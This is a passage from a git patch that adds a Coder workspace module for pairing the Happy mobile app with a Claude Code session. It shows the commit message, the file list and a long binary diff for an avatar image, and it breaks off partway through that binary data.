From e596ec7230274d12e43ec475639d050b2212d25d Mon Sep 17 00:00:00 2001 From: Guilherme Nimer Kovalek Gojlevicius Date: Wed, 5 Aug 2026 05:51:39 +0000 Subject: [PATCH 1/3] feat(gojnimer6553): add happy module Runs slopus/happy in a Coder workspace: a single app tile shows a QR code and direct link for pairing the Happy mobile/web app to the Claude Code session running in the workspace. Since happy has no non-interactive pairing mode, the module drives its interactive auth-method prompt through a real tmux pty on every click and mints a fresh pairing link each time. Co-Authored-By: Claude Sonnet 5 --- .icons/happy.svg | 1 + registry/gojnimer6553/.images/avatar.png | Bin 0 -> 223261 bytes registry/gojnimer6553/README.md | 11 + registry/gojnimer6553/modules/happy/README.md | 97 +++++ .../gojnimer6553/modules/happy/main.test.ts | 385 ++++++++++++++++++ registry/gojnimer6553/modules/happy/main.tf | 244 +++++++++++ .../modules/happy/main.tftest.hcl | 314 ++++++++++++++ .../modules/happy/scripts/install.sh.tftpl | 149 +++++++ .../modules/happy/scripts/start.sh.tftpl | 278 +++++++++++++ 9 files changed, 1479 insertions(+) create mode 100644 .icons/happy.svg create mode 100644 registry/gojnimer6553/.images/avatar.png create mode 100644 registry/gojnimer6553/README.md create mode 100644 registry/gojnimer6553/modules/happy/README.md create mode 100644 registry/gojnimer6553/modules/happy/main.test.ts create mode 100644 registry/gojnimer6553/modules/happy/main.tf create mode 100644 registry/gojnimer6553/modules/happy/main.tftest.hcl create mode 100644 registry/gojnimer6553/modules/happy/scripts/install.sh.tftpl create mode 100644 registry/gojnimer6553/modules/happy/scripts/start.sh.tftpl diff --git a/.icons/happy.svg b/.icons/happy.svg new file mode 100644 index 000000000..35e1505dd --- /dev/null +++ b/.icons/happy.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/registry/gojnimer6553/.images/avatar.png b/registry/gojnimer6553/.images/avatar.png new file mode 100644 index 0000000000000000000000000000000000000000..8d6f3fb8f443580608252c6eb406e649c7884818 GIT binary patch literal 223261 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 